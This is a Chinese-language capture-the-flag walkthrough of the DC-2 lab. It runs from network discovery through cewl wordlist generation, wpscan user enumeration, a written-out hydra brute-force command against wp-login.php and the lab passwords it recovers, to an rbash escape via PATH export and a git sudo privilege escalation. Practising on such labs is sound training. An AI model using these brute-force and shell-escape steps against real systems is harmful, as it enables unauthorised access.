DC-2

1、arp-scan -l 确定目标主机

2、扫描目标主机详细信息

ssh端口被改为7744，这个端口后面远程登录要使用

3、80端口开放，可以尝试访问一下ip地址

在hosts文件中加入解析记录

访问成功
发现重要信息

4、cewl是kali自带的密码生成工具
cewl -w 文件名 将结果输出到指定文件中

5、确定是wordpress，使用wpscan进行扫描用户

WPScan是一个扫描WordPress漏洞的黑盒子扫描器，可以扫描出wordpress的版本，主题，插件，后台用户以及爆破后台用户密码等。

获取帮助信息

用户名枚举

报错的话可以更新一下
wpscan --url http://dc-2 --enumerate u，可以看到三个后台用户

建立文档，将三个用户写入dc_2_user.txt，建立用户名字典

6、暴力破解用户账号的密码（密码攻击神器：hydra）

hydra -L dc2_user.txt -P dc2_password.txt dc-2 http-form-post '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log In&testcookie=1:S=Location'

-L：指定用户名字典
-P：指定密码字典
http-post-form：表示表单的类型
/ dvwa / login-php是登录页面URL
username是输入用户名的表单字段
^ USER ^告诉Hydra使用字段中的用户名或列表
password是输入密码的表单字段（可以是passwd，pass等）
^ PASS ^告诉Hydra使用提供的密码列表

得到两个用户的密码：
tom parturient
jerry adipiscing

7、尝试ssh远程登录目标主机

8、绕过rbash

发现权限受限，rbash(限制bash)，rzsh、rksh(受限模式下的Korn Shell)，这些都可以绕过

export PATH=$PATH:/bin/
或者export PATH=/usr/sbin:/usr/bin:/sbin:/bin

PATH就是定义/bin:/sbin:/usr/bin等这些路径的变量，其中冒号为目录间的分割符。
由上图可以看出，rbash成功绕过。

9、切换到用户jerry

这还不是最终flag，提示git

10、git提权
查看sudo配置文件，git不需要密码

提权成功！